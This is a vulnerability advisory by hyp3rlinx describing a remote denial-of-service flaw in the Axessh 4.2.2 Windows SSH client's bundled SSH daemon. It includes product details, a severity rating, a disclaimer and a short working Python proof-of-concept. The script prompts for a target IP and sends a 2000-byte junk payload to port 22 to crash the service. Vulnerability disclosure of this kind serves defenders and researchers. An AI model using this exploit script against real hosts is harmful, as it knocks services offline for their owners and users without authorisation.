Axessh 4.2 - Denial of Service

[+] Credits: John Page aka hyp3rlinx	

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AXESSH-DENIAL-OF-SERVICE.txt

[+] ISR: ApparitionSec



Vendor:
============
www.labf.com



Product:
=============
Axessh 4.2.2

Axessh is a SSH client. It is a superb terminal emulator/telnet client for Windows. It provides SSH capabilities to Axessh without
sacrificing any of existing functionality. Furthermore, Axessh has been developed entirely outside of the USA, and can be sold
anywhere in the world (apart from places where people aren't allowed to own cryptographic software).

2. Axessh features include:
Compatible with SSH protocol version 2.0 (a SSH2-client based on OpenSSH 3.4)
Compatible with SSH protocol version 1.5
Ciphers(for the SSH1-client): 3DES, Blowfish, DES, RC4
Ciphers(for the SSH2-client): 3DES, Blowfish, CAST128, ARCFOUR, AES128, AES192, AES256-cbc
Authentication using password
Authentication RSA
Compression support
Connection forwarding, including full support for X-protocol connection forwarding
"Dynamic Forwarding" which provides other tasks on the same PC with requested port forwarding 



Vulnerability Type:
====================
Denial Of Service

AxeSSH will crash after receiving a overly long payload of junk...



Exploit code(s):
===============

1) Open the settings window for axessh and choose Run then click Run as EXE, this will launch "xwpsshd.exe"
crashes with bad protocol version.


import socket

print "Axessh 4.2.2 XwpSSHD (wsshd.exe) Remote Denial Of Service"

ip = raw_input("[IP]> ")
port = 22
payload="A"*2000
s=socket.create_connection((ip,port))
s.send(payload)



Exploitation Technique:
=======================
Remote



Severity Level:
================
Medium



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx